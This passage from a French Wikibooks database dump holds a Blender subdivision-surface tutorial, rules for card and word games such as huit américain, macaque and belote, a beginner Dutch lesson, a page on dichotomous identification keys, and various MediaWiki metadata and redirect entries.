shorts all the time and for generally being a total nuisance. miss you peagirl. thanks m° for the new apartment (sarcasm). what is the range on teleportation anyway? kinda sketchy... to paraphrase a clever ant queen, "go ahead, you couldn't possibly have killed more than none." chris ---- <Incoming message from Double Aught><br /> Prepare for the Vidmasters Challenge. This is not for the weak of heart. This is very hard. ---- <Incoming message from Double Aught><br /> Prepare for the Vidmasters Challenge. This is not for the weak of heart. This is very very hard. ---- <Incoming message from Double Aught><br /> Prepare for the Vidmasters Challenge. This is not for the weak of heart. This is very very hard. Are you sure you want to go? ---- <Incoming message from Double Aught><br /> Prepare for the Vidmasters Challenge. This is not for the weak of heart. This is very very hard. Press <Escape> to save your pathetic skin. ---- <Incoming message from Double Aught><br /> Prepare for the Vidmasters Challenge. This is not for the weak of heart. This is very very hard. Press <Escape> to save your pathetic skin. Ok. But before you go, save your game. ---- <Incoming message from Double Aught><br /> Prepare for the Vidmasters Challenge. This is not for the weak of heart. This is very very hard. Press <Escape> to save your pathetic skin. Ok. But before you go, save your game<br /> and sign your will... <Teleport when ready> <center>[[Marathon - Marathon Infinity - You Think You're Big Time? You're Gonna Die Big Time!|< You Think You're Big Time? You're Gonna Die Big Time!]] • [[Marathon - Marathon Infinity - Écran final|Écran final >]]</center> Image:Blender simple person.png 4789 17855 2005-07-28T17:46:48Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_simple_person.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_simple_person.png Image:Blender3D Simple Person First Selection.png 4790 17856 2005-07-28T17:48:59Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_First_Selection.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_First_Selection.png Image:Blender3D Vertex-select-mode Button.png 4791 17857 2005-07-28T17:50:43Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Vertex-select-mode_Button.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Vertex-select-mode_Button.png Image:Blender3D Simple Person Step1.png 4792 17858 2005-07-28T17:52:15Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step1.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step1.png Image:Blender3D Simple Person Step2.png 4793 17859 2005-07-28T17:52:38Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step2.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step2.png Image:Blender3D Simple Person Step3.png 4794 17860 2005-07-28T17:53:06Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step3.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step3.png Image:Blender3D Simple Person Step5.png 4795 17861 2005-07-28T17:54:05Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step5.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step5.png Image:Blender3D Simple Person Step6.png 4796 17862 2005-07-28T17:54:30Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step6.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step6.png Image:Blender3D Simple Person Step4.png 4797 17863 2005-07-28T17:55:48Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step4.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_Simple_Person_Step4.png MediaWiki:Exif-focalplaneresolutionunit-2 4800 sysop 17904 2005-07-29T10:36:57Z MediaWiki default inches MediaWiki:Exif-subjectdistance-value 4801 sysop 17912 2005-07-29T10:36:58Z MediaWiki default $1 metres MediaWiki:Exif-xyresolution-c 4802 sysop 17913 2005-07-29T10:36:58Z MediaWiki default $1 dpc MediaWiki:Exif-xyresolution-i 4803 sysop 17914 2005-07-29T10:36:58Z MediaWiki default $1 dpi MediaWiki:Shareddescriptionfollows 4804 sysop 17951 2005-07-29T10:37:04Z MediaWiki default - MediaWiki:Skinpreview 4805 sysop 47007 2006-07-01T18:48:51Z MediaWiki default (Prévisualisation) MediaWiki:Trackback 4806 sysop 26395 2005-12-02T03:52:54Z MediaWiki default ; $4$5 : [$2 $1] MediaWiki:Trackbackbox 4807 sysop 27306 2005-12-22T07:10:56Z MediaWiki default <div id="mw_trackbacks"> Trackbacks for this article:<br /> $1 </div> MediaWiki:Trackbackdeleteok 4808 sysop 17958 2005-07-29T10:37:05Z MediaWiki default The trackback was successfully deleted. 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MediaWiki:Val rev stats 4817 sysop 17975 2005-07-29T10:37:06Z MediaWiki default See the validation statistics for "$1" <a href="$2">here</a> Blender 3D: du débutant au pro/Détailler votre personnage simple 1 4818 42010 2006-05-12T07:10:15Z Thib 1512 ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 2|Détailler votre personnage simple II]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Modéliser un personnage simple|Modéliser un personnage simple]]''</small> Ce didacticiel utilise le modèle de personnage simple à partir du didacticiel précédent. Si vous ne l'avez pas fait, [[Blender 3D: du débutant au pro/Modéliser un personnage simple|retournez en arrière et faites le maintenant]]. Si votre modèle n'apparaît pas solide, il est dessiné actuellement en mode fil de fer. Pour ce didacticiel, vous avez besoin qu'il soit dessiné en solide. Appuyez sur '''ZKEY''' pour voir le modèle de cette manière. ==Sous-surfaces== [[Image:Blender3D_editing_panel_button.png|right|Le Editing Panel Button (bouton du panneau d'édition) peut être cliqué pour affcher les boutons d'édition]] Vous devriez déjà être en Edit Mode. Si ce n'est pas le cas, avec le personnage sélectionné, appuyez sur TAB pour passer en Edit Mode. (Vous pouvez utiliser '''RMB''' pour sélectionner le corps ou la tête). Dans la fenêtre de boutons, trouvez le bouton du panneau d'édition (affiché à droite) et cliquez dessus (ou appuyez sur '''F9'''). Sous OS X, utilisez '''CMD'''+'''F9''' ("to envoide engaging the Expose window effects."). Dans les dernières versions de Blender, les sous-surfaces ont été déplacées vers le panneau "Modifiers". Pour activer les sous-surfaces, vous devez ajouter un modifieur (bouton "Add Modifier" dans le panneau "Modifiers") et sélectionner "Subsurf" (dans les versions précédentes, le bouton "Subsurf" se trouve dans le panneau "Mesh"). Vous devriez voir que votre modèle a changé : maintenant, il est rond, mois carré. Ce qu'il s'est passé ? Chaque face a été divisée en quatre faces plus petites qui ont été orientées progressivement, qui ont aidé à adoucir les bords anguleux du modèle où les faces se touchent les unes les autres. maintenant, fixez le nombre de subdivisions à 2 : cliquez sur la flèche de droite du bouton "Levels" dans le paneau "Modifiers" (dans les anciennes versions, cliquez sur le bouton intitulé "Subdiv" et changez la valeur sur '2'). Le modèle changera de nouveau parce que chacune de vos faces originales est maintenant divisée par 16. Si vous changez la valeur sur '3' chaque plan sera divisé en 64 plans plus petits, mais ne le faites pas sauf si votre ordinateur est capable de le supporter. En fait, la valeur des subdivisions fonctionnent en base 4 : si vous choisissez 2 comme valeur, il divisera en <math>4^1</math> vos surfaces, et si vous choisissez n, il divisera en <math>4^n</math> subdivisions. Le bouton marqué "Render Levels" (dans les anciennes versions, il s'agit d'un bouton sur lequel seule la valeur est affichée) contrôle le nombre de subdivisions qui doivent être rendues, tandis que la valeur que vous avez changée affecte le nombre de subdivisions affichées pendant le travail dans Blender. Avant d'aller plus loin, fixez la première valeur des subdivisions sur 2 et les subdivisions de rendu sur 3. Un moyen très simple de changer ces nombres est de cliquer sur le nombre avec le '''LMB''', de le maintenir appuyé et de déplacer la souris vers la gauche ou la droite. Vous pouvez aussi cliquer sur le nombre puis taper la nouvelle valeur au clavier. La dernière solution consiste à cliquer sur les flèches sur les côtés du bouton. Avec les boutons subsurf se trouve un autre bouton intitulé "Optimal". Cliquez sur ce bouton et vous verrez que les sommets et les arêtes sont maintenant dessinés serrés contre le corps subsurfé. * Notez que ces deux boutons, "Subdiv" et "Optimal", le long des autres boutons de même couleur peuvent être basculés activés ou non. Leurs effets peuvent être annulés n'importe quand simplement en cliquant sur eux de nouveau mais ils ne peuvent pas être annulés avec la commande Undo '''UKEY''' habituelle. ==Surfaces adoucies== [[Image:Simple_person.png|right|thumb|Votre personnage simple après l'adoucissement.]] Les subsurfaces font du bon travail en adoucissant les objets et en créant de bonnes surfaces incurvées. Néanmoins, même avec les subsurfaces, le modèle n'apparaît pas complètement adouci; à ce point, il apparaît même avec un effet d'escalier. En Edit Mode, appuyez sur '''AKEY''' une fois ou deux ainsi tous les sommets sont sélectionnés (si vous n'êtes pas en Edit Mode, souvenez-vous qu'il faut sélectionner le personnage et appuyez sur '''TAB'''). Trouvez le bouton "Set Smooth" (Régler l'adoucissement) dans la partie inférieur droite de la fenêtre "Links and Materials" et cliquez dessus. Vous verrez Blender adoucir les arêtes brutes où les faces se touchaient précédemment. A coté de celui-ci se trouve le bouton "Set Solid". Cliquez dessus. Votre personnage possède à nouveau un rendu solide. Donnons à notre personnage un aspect adouci, cliquez sur le bouton "Set Smooth" à nouveau. Vous devez garder ce fichier ouvert pour les didacticiels suivants. Allez à la page suivante. ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 2|Détailler votre personnage simple II]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Modéliser un personnage simple|Modéliser un personnage simple]]''</small> Boîte à jeux/Le huit américain 4819 43494 2006-05-30T13:09:17Z 213.136.113.162 /* méchanceté */ Le '''huit américain''' est aussi appelé '''pousse-couillon'''. Le jeu Uno s'en est inspiré. Cependant, le fait de pouvoir modifier les règles le rend agréablement souple. * Nombre de joueurs : à partir de 2. Mais plus il y a de joueur, mieux c'est. * Durée : très variable selon le nombre de joueurs et le nombre de cartes distribuées (de 5 à 30 minutes en moyenne). == But du jeux == Ne plus avoir aucune carte en main. == Matériel == 2 jeux de 54 cartes sans les jokers. ''NB : il est possible de jouer avec un seul jeu mais certaines règles deviennent impossibles à appliquer.'' == Règles == === Distribution === * Battre les cartes ; * Le joueur à gauche du batteur coupe les cartes ; * Le joueur à gauche du coupeur distribue les cartes : ** La distribution à lieu dans le sens des aiguilles d'une montre, les cartes sont données une par une ; ** Le donneur choisi de donner à chacun de 3 à 13 cartes. Une fois les cartes distribuées, les cartes restantes sont placées face retournée en sabot au centre de la table. Les joueurs peuvent alors regarder leurs cartes qu'ils gardent pour eux. === Le jeu === Le jeu commence en retournant la première carte du sabot et en la plaçant à côté de lui. Cette carte est considérée comme étant une carte du donneur. C'est alors à la personne à sa gauche qui commence à jouer. Chaque joueur joue quand c'est son tour. Chaque joueur doit poser une carte sur le tas en suivant les règles de base : * On ne peut poser une carte que si celle-ci : ** a la même valeur ; ** ou a la même couleur que la carte placée sur le tas. * Lorsqu'on ne peut pas poser de carte, on prend alors une carte sur le talon et on ne joue pas. Il existe un certain nombre de '''cartes spéciales''' qui, lorsqu'elles sont posées, produisent divers effets : * le '''8''' : C'est de cette carte que vient le nom du jeu. C'est en effet la carte la plus puissante du jeu : on peut la poser sur n'importe quelle couleur ou valeur (y compris les As mais pas le 2). Le joueur décide de la couleur avec laquelle le jeu se poursuivra : pique, cœur, trèfle, carreau. * L''''As''' : Lorsque quelqu'un pose un as, la personne suivante a l'obligation de poser un as par dessus et ainsi de suite jusqu'à que l'un des joueurs ne puisse plus en ajouter : ce dernier doit alors prendre 2 fois le nombre d'as posés en cartes. Toutefois poser un 8 sur un As est possible et annule donc le cumul des As (cette règle peut etre annulée après accord entre les joueurs). * le '''2''' : Lorsqu'un deux est posé, le joueur suivant n'a pas le droit de jouer et doit obligatoirement prendre 2 cartes. * le '''Valet''' : Il inverse le sens du jeu. * le '''7''' : Il fait sauter le tour au joueur suivant. * le '''10''' : permet de rejouer, si cette carte est posée en dernier, on a obligation de rejouer (et comme on a plus de cartes, on pioche). Donc il ne vaut mieux pas la poser en dernier ! Le jeu continue ainsi jusqu'à ce qu'un joueur ait posé sa dernière carte : le jeu est alors terminé, ce joueur a gagné la partie. Notez la dernière grande règle de base : un joueur qui n'a plus qu'une carte doit l'annoncer : en disant « une carte ». S'il l'oublie et qu'un autre joueur le remarque (en disant «contre-carte», il prend alors deux cartes de pénalité. === Autres tours === On peut continuer des faire des parties en décalant les rôles de distribution vers la gauche. == Règles supplémentaire == Beaucoup d'autres règles existent que l'on peut rajouter aux règles de base qui améliorent grandement l'attrait du jeu. Notez que chacune de ces règles peut être ajoutée individuellement. === Pénalités === Les pénalités rajoutent une note de rigueur au jeu en obligeant les joueurs à rester concentrés. La pénalité est attribuée aux joueurs qui transgressent les règles ; ils doivent alors prendre deux cartes de pénalité. Les cas de pénalité sont entre autre données aux joueurs : * qui ne jouent pas une carte acceptable : ni bonne couleur ni bonne valeur ; * qui jouent alors que ce n'est pas leur tour ; * qui jouent alors qu'il leur est interdit de poser une carte (à cause d'un 2 ou d'un as) ; * qui oublient de dire qu'il ne leur reste qu'une carte (règle déjà en vigueur). === Autres cartes spéciales === On peut ajouter individuellement des cartes spéciales : * le '''3''' : similaire au 2, le joueur suivant doit obligatoirement prendre 3 cartes ; * la '''dame''' : permet de jouer une nouvelle fois. On peut ainsi superposer plusieurs dames. Notez toutefois que si l'on ne peut pas jouer après avoir posé une dame, il faut alors prendre une carte sur le sabot ; * le '''roi''' : carte puissante : elle permet d'changer ses cartes avec le joueur de son choix. === Les cartes doubles === Cette règle nécessite de jouer avec deux jeux et elle ajoute beaucoup de piment puisqu'elle oblige à jouer assez rapidement et à rester très concentré. En effet, cette règle autorise à poser une carte quand ce n'est pas notre tour, uniquement si la carte posée est exactement identique à celle sur le tas. Si la carte est posée avant que le joueur dont c'est normalement le tour n'ait joué, le tour reprend à partir du joueur « usurpateur ». Cela peut poser des problèmes notamment lorsque l'on pose des cartes spéciales comme le 10, pour lequel un instant de réflexion est souvent nécessaire avant de continuer à jouer... Un joueur peut grâce à cette règle poser deux cartes identiques d'un coup. Cela peut donner lieu à des coups tordu : poser deux cartes 3 l'une après l'autre par exemple en attendant que le joueur suivant ait bien pris ses cartes... == Stratégies == Bagh-Bandi (boite à jeux) 4822 27284 2005-12-21T23:37:14Z François Haffner 951 #redirect [[Boîte à jeux/Bagh-Bandi]] Le neutron (boite à jeux) 4823 27233 2005-12-21T23:08:28Z François Haffner 951 #redirect [[Boîte à jeux/Le neutron]] L'ascenseur (boite à jeux) 4824 27236 2005-12-21T23:10:38Z François Haffner 951 #redirect [[Boîte à jeux/L'ascenseur]] La bataille corse (boite à jeux) 4825 27251 2005-12-21T23:21:21Z François Haffner 951 #redirect [[Boîte à jeux/La bataille corse]] Le huit américain (boite à jeux) 4826 27283 2005-12-21T23:33:54Z François Haffner 951 #redirect [[Boîte à jeux/Le huit américain]] La manille (boite à jeux) 4827 27278 2005-12-21T23:31:48Z François Haffner 951 #redirect [[Boîte à jeux/La manille]] 421 (boite à jeux) 4828 27248 2005-12-21T23:20:33Z François Haffner 951 #redirect [[Boîte à jeux/421]] Zanzi 4829 27247 2005-12-21T23:18:49Z François Haffner 951 #redirect [[Boîte à jeux/Zanzi]] Buckdice (boite à jeux) 4830 27259 2005-12-21T23:23:25Z François Haffner 951 #redirect [[Boîte à jeux/Buckdice]] Sept (boite à jeux) 4831 27264 2005-12-21T23:23:58Z François Haffner 951 #redirect [[Boîte à jeux/Sept]] Awalé (boite à jeux) 4833 27256 2005-12-21T23:22:05Z François Haffner 951 #redirect [[Boîte à jeux/Awalé]] Mafia (boite à jeux) 4835 27239 2005-12-21T23:11:20Z François Haffner 951 #redirect [[Boîte à jeux/Mafia]] Leçon 2: Se présenter (néerlandais) 4838 21116 2005-09-14T09:39:20Z Marc 66 Leçon 1: Se présenter (néerlandais) déplacé vers Leçon 2: Se présenter (néerlandais) {{Néerlandais-Page-Suivante|Prec=Progressons pas à pas|Suiv=Leçon 2: Être et avoir|TDM=Progressons pas à pas}} == Le dialogue == {| border=0 |- |* ''Goedendag<sup>1<sup>, meneer!'' |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /ɣudǝnd'''a'''χ mǝn'''e.'''ɾ/ | Bonjour, monsieur! |- |* ''Dag<sup>2<sup>, mevrouw. Hoe maakt u<sup>3<sup> het?<sup>4<sup>'' |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /d'''a'''χ mǝvɾ'''ʌu'''ʋ ɦu mɑ.ktu ǝt/ | Bonjour, madame. Comment allez-vous ? |- |* ''Heel goed! en u?'' |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /ɦel ɣ'''u'''t ǝn y/ | Très bien! Et vous ? |- |* ''Niet zo goed.'' |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /nit zo ɣ'''u'''t/ | Pas si bien. |- |* ''Bent u ziek ?'' |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /bɛnt y z'''i'''k/ | Êtes-vous malade ? |- |* ''Ik weet het nog niet: Ik ga nu naar de dokter!'' |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /ɪk ʋ'''e.'''t ǝt nɔɣ nit ɪk ɣa ny: na.r dǝ d'''o'''ktɔɾ/ | Je ne sais pas encore: je vais chez le docteur maintenant ! |} == Notes == '''1.''' Pour saluer on emploie indifféremment ''Goedendag'' (Bonjour) qui s'abrège en ''Dag'', un peu moins cérémonieux mais on peut aussi employer comme en anglais ou un allemand des expressions spécifiant le moment de la journée: ** ''Goedemorgen'' (Bonne matinée) ** ''Goedeavond'' (Bonsoir) Attention à la prononciation, ''Goede...'' dans les salutations est souvent prononcé ''Goeie...''. L'orthographe ne le reflète que rarement. '''2.'''Attention: ''Dag!'' peut à la fois correspondre à Bonjour et à au revoir. Dans le second cas en dehors du contexte, on peut noter que le mot est allongé est qu'un accent mélodique est mis sur la voyelle. '''3.'''Le néerlandais comme le français connait le tutoiement et le vouvoiement. Les personnes lui correspondant sont ''u''(vous) et ''je''(tu). La conjugaison est cependant identique! '''4.'''L'expression correspond au «Comment ça va?» et au «Comment allez-vous ?» mais faites attention à la construction. Une alternative: ''Hoe gaat het met u ?'' == Notes sur la prononciation == Dans les premières leçons, les dialogues complets seront détaillées nous souhaitons appeler votre attention sur un certain nombre de points: * Les assoudissements des consonnes en final de mots: Goed prononcé goet. * Le cas de ''het'': le h ne se prononce pas. C'est une exception tout les autres sont aspirés. == La leçon de grammaire == Le néerlandais connait les personnes suivantes: {| border=1 cellspacing="0" style="background-color: #FFFF66;text-align=center" |- ! ! colspan=2 | singulier ! colspan=2 | pluriel |- !Personne ! forme longue ! forme courte ! forme longue ! forme courte |- ! 1<sup>ère</sup> | colspan=2 | ik | wij | we |- ! 2<sup>e</sup> | jij | je | colspan=2| jullie |- ! 2<sup>e</sup> politesse | colspan=2 | u |- ! 3<sup>e</sup> masculin | colspan=2| hij | zij | ze |- ! 3<sup>e</sup> féminin | zij | ze | zij | ze |- ! 3<sup>e</sup> neutre | colspan=2| het | zij | ze |} {{Néerlandais-Page-Suivante|Prec={{Néerlandais-Page-Suivante|Prec=Progressons pas à pas|Suiv=Leçon 2: Être et avoir|TDM=Progressons pas à pas}} Clés dichotomiques 4839 26026 2005-11-24T17:51:26Z Marc 66 L'identification des plantes et des animaux en zoologie est fréquemment aidée par l'utilisation d'une '''clé dichotomique''', un outil (généralement écrit) construit à partir d'une série d'états hautement organisés organisés en '''couplets'''. Un couplet est constitué habituellement de deux descriptions qui représentent des choix exclusifs (souvent, c'est une combinaison particulière de caractéristiques qui détermine la différence). Les deux choix sont lus et comparés avec le spécimen à identifier. Avoir plusieurs individus d'une même espèce à observer est souvent d'une grande aide. Une fois que la décision est prise, la sélection vous dirige vers un autre couplet (soit le suivant dans l'ordre ou un autre plus loin dans la clé), et ce processus est répété jusqu'à ce qu'une conclusion (identification réussie) est atteinte. A ce point, une étape de vérification est importante : comparer le specimen avec n'importe quels détails dans la description et/ou n'importe quelles formes disponibles. On considère également l'habitat et la localisation de la collection réalisée. Si la semble satisfaisante, une identification correcte a été probablement accomplie. Si la description n'est pas satisfaisante dans une ou plusieurs particularités importantes, il faut revenir au couplet précédent et recommencer, en regardant de plus près chaque décision. [[Catégorie:Zoologie]] Une erreur très commune dans l'usage des clés dichotomiques est la supposition que l'identification correcte est inclue dans cette clé. Il est possible qu'un specimen ne puisse pas être identifié avec une clé particulière, ou encore que la clé conduira l'utilisateur à une fin qui apparaitra être la "réponse". Pour cette raison, en comparant le specimen avec une description plus détaillée est d'une importance vitale &mdash; une clé dichotomique seule ne peut pas être utilisée pour identifier des specimens, à moins que les specimens sont connus par avance pour être inclus dans la clé. ---- Voici les clés dichotomiques disponibles : :[[Clés dichotomiques : Départ|Départ]] *[[Clés dichotomiques : Animalia|Animalia]] **[[Clés dichotomiques : Annelida|Annelida]] ***[[Clés dichotomiques : Hirudinea|Hirudinea]] **[[Clés dichotomiques : Arthropoda|Arthropoda]] ***[[Clés dichotomiques : Hexapoda|Hexapoda]] ****[[Clés dichotomiques : Dermaptera|Dermaptera]] ****[[Clés dichotomiques : Neuroptera|Neuroptera]] ****[[Clés dichotomiques : Coleoptera|Coleoptera]] ****[[Clés dichotomiques : Odonata|Odonata]] ****[[Clés dichotomiques : Lepidoptera|Lepidoptera]] ***[[Clés dichotomiques : Myriapoda|Myriapoda]] ***[[Clés dichotomiques : Arachnida|Arachnida]] ****[[Clés dichotomiques : Acari|Acari]] *****[[Clés dichotomiques : Parasitiformes|Parasitiformes]] **[[Clés dichotomiques : Chordata|Chordata]] ***[[Clés dichotomiques : Amphibia|Amphibia]] ***[[Clés dichotomiques : Chondrichthyes|Chondrichthyes]] ****[[Clés dichotomiques : Selachimorpha|Selachimorpha]] ***[[Clés dichotomiques : Dipnoi|Dipnoi]] ***[[Clés dichotomiques : Petromyzonidae|Petromyzonidae]] ***[[Clés dichotomiques : Reptilia|Reptilia]] ****[[Clés dichotomiques : Testudines|Testudines]] ***[[Clés dichotomiques : Aves|Aves]] ****[[Clés dichotomiques : Passeriformes|Passeriformes]] ****[[Clés dichotomiques : Anseriformes|Anseriformes]] ***[[Clés dichotomiques : Mammalia|Mammalia]] ****[[Clés dichotomiques : Carnivora|Carnivora]] *****[[Clés dichotomiques : Ursidae|Ursidae]] ****[[Clés dichotomiques : Cetacea|Cetacea]] ****[[Clés dichotomiques : Chiroptera|Chiroptera]] ****[[Clés dichotomiques : Marsupialia|Marsupialia]] ****[[Clés dichotomiques : Monotremata|Monotremata]] ****[[Clés dichotomiques : Perissodactyla|Perissodactyla]] ****[[Clés dichotomiques : Primates|Primates]] *****[[Clés dichotomiques : Hominoidea|Hominoidea]] ******[[Clés dichotomiques : Hominidae|Hominidae]] *******[[Clés dichotomiques : Homininae|Homininae]] ****[[Clés dichotomiques : Proboscidea|Proboscidea]] ****[[Clés dichotomiques : Sirenia|Sirenia]] **[[Clés dichotomiques : Cnidaria|Cnidaria]] **[[Clés dichotomiques : Mollusca|Mollusca]] ***[[Clés dichotomiques : Cephalopoda|Cephalopoda]] ****[[Clés dichotomiques : Octopoda|Octopoda]] *****[[Clés dichotomiques : Bolitaenidae|Bolitaenidae]] *****[[Clés dichotomiques : Tremoctopodidae|Tremoctopididae]] ****[[Clés dichotomiques : Oegopsida|Oegopsida]] **[[Clés dichotomiques : Porifera|Porifera]] **[[Clés dichotomiques : Rotifera|Rotifera]] *[[Clés dichotomiques : Archaea|Archaea]] *[[Clés dichotomiques : Bacteria|Bacteria]] *[[Clés dichotomiques : Fungi|Fungi]] *[[Clés dichotomiques : Plantae|Plantae]] **[[Clés dichotomiques : Lycopodiophyta|Lycopodiophyta]] **[[Clés dichotomiques : Magnoliophyta|Magnoliophyta]] **[[Clés dichotomiques : Psilotophyta|Psilotophyta]] ***[[Clés dichotomiques : Psilotopsida|Psilotopsida]] ****[[Clés dichotomiques : Psilotales|Psilotales]] *****[[Clés dichotomiques : Psilotaceae|Psilotaceae]] [[en:Dichotomous Key]] Boîte à jeux/Le macaque 4840 42672 2006-05-17T15:47:14Z 81.241.31.134 /* Le macaque */ Le macaque est un jeu avec les mots qu peut en fait se jouer en n'importe quelle langue. * Nombre de joueurs : à partir de 2. * Durée : dépend du nombre de joueurs (30 minutes en moyenne). == But du jeux == Ne pas devenir un macaKe alors que les autres joueurs en sont devenus. == Matériel == éventuellement des cartes ou des pions pour marquer les quarts de macaque ainsi qu'un dictionnaire pour éviter les litiges. Mais on peut facilement jouer sans cela. == Règles == * Les joueurs jouent à tour de rôle dans le sens que l'on veut. Il n'est même pas besoin de se placer en rond : il faut juste que chacun puisse entendre les autres. * Chaque joueur donne une lettre chacun son tour. Chaque fois qu'un joueur donne une lettre, il faut qu'elle soit audible. Il est interdit de la répéter si elle était correctement prononcée. * Le premier joueur donne la première lettre, le second une deuxième lettre etc. Attention : chaque joueur doit avoir en tête un mot français qui puisse être épelé de cette manière. ** Sont autorisés : *** les mots conjugués et accordés ; *** les onomatopées du dictionnaire tels que pan, boum ; ** Ne sont pas autorisés : *** les noms propres ; *** les mots composés ; *** les abréviations et autres acronymes ; *** les mots non-français. Attention : l'usage d'un dictionnaire n'est autorisé qu'à la fin de la partie pour vérifier l'existence d'un mot. * le tour se termine lorsqu'un joueur ne peut plus proposer de lettre. Par exemple, il est impossible de continuer le mot « marchées ». À ce moment le joueur peut : * soit abandonner, ce qui lui fait perdre la partie ; * soit demander au joueur précédent à quel mot il pensait. ** Si celui-ci répond correctement en disant un mot autorisé, le questionneur a perdu la partie. ** Si par contre il ne peut pas répondre ou répond par un mauvais mot, ce dernier a perdu la partie. === Le macaque === Chaque fois qu'un joueur perd, il gagne '''1 quart de macaque'''. Le jeu reprend à partir du perdant. * Lorsqu'un joueur atteint 4 quarts de macaque, il devient un '''macaque'''. Ce statut lui interdit alors de jouer et aux autres joueurs de lui parler. La partie reprend au joueur suivant. * Cependant les macaques peuvent revenir dans la partie si un des autres joueurs lui adresse la parole. Pour cela, le macaque peut user de tous les stratagèmes — décents — pour les faire parler. ** Lorsqu'un joueur parle à un macaque, il lui prend alors un quart de macaque. Le jeu se termine lorsque tous les joueurs à l'exception d'un seul sont devenus des macaques. le survivant est le vainqueur. == Stratégies == Le but du jeu étant de ne pas tomber dans une impasse, le moyen le plus sûr de ne pas gagner de quart de macaque est de prévoir la suite du mot. ; Le compte : Vous pouvez par exemple orienter le mot vers un mot dont vous connaissez le nombre de lettre et pour lequel vous serez sûr que vous ne perdrez pas. ; L'initiative impossible : Il est utile de connaitre des mots qui commencent par deux ou trois lettres « gênantes ». Exemples : * mn ** mnémotechnique * gn ** gnole, gnome * pse ** pseudonyme * oes ** oesophage * vl ** vlan ! * wh ** whisky (attention : le pluriel « whiskys » est désormais accepté !) ; Tuer le mot : Pour tuer un mot il suffit de lui mettre une lettre de pluriel, par exemple, qui le termine automatiquement. Exemple, vous êtes le joueur 1 : # P # O # T # S ! # a perdu Attention aux fausses morts qui peuvent se retourner contre vous ! Exemple, vous êtes le joueur 1 : # B # A # L # S ! # A !! # S # Vous avez perdu ; « J'ai pas entendu la dernière lettre ! » : Dans ce genre de cas ne dites rien de votre sort et utilisez une des lettres les plus courantes du français : e, s, t, a, débrouillez vous avec les lettres précédemment données. Avec un peu de chance et de bluff ça peut passer : ne faites pas comme si vous aviez peur d'être découvert. Montrez vous confiant en regardant le joueur suivant et en le poussant à continuer comme si vous aviez dit une lettre en connaissance de cause... Par contre si quelqu'un vous demande à quel mot vous pensez... c'est cuit (à moins d'avoir de la chance en tentant un mot au hasard). Boîte à jeux/La belote 4841 27272 2005-12-21T23:29:42Z François Haffner 951 [[Boite à jeux/La belote]] déplacé vers [[Boîte à jeux/La belote]] * Nombre de joueurs : 4 * Durée : ? == Matériel == * 1 jeu de 32 cartes. == Règles == Les quatre joueurs sont répartis en deux équipes de deux joueurs, les membres d'une même équipe se faisant face et ayant à leur droite et à leur gauche chacun des joueurs adverses. Les règles de base du jeu sont simples : * Obligation de fournir la couleur demandée. * Obligation de « couper » (mettre une carte ''atout'' sur une autre couleur) lorsque l'adversaire « tient » (c'est lui qui jusque là a posé la carte la plus forte sur la table). On ne peut donc se défausser que sur son partenaire. === Mélange des cartes === Le jeu de cartes n'est brassé qu'une fois, avant de commencer la partie. === La donne === Avant toute '''donne''' (distribution des cartes), le joueur situé à droite du joueur ''donneur'' doit effectuer la '''coupe''' du jeu : il sépare le jeu en deux tas, chacun devant contenir au moins deux cartes. Lors de la première partie, un joueur est désigné pour effectuer la première ''donne''. Lors des ''donnes'' suivantes, il s'agit du joueur qui a reçu la première carte à la partie précédente. Le joueur qui effectue la donne a le droit de mélanger le jeu avant la ''coupe''. Après avoir regroupé le jeu en inversant l'ordre de ''coupe'', le ''donneur'' distribue les cartes dans le sens des aiguilles 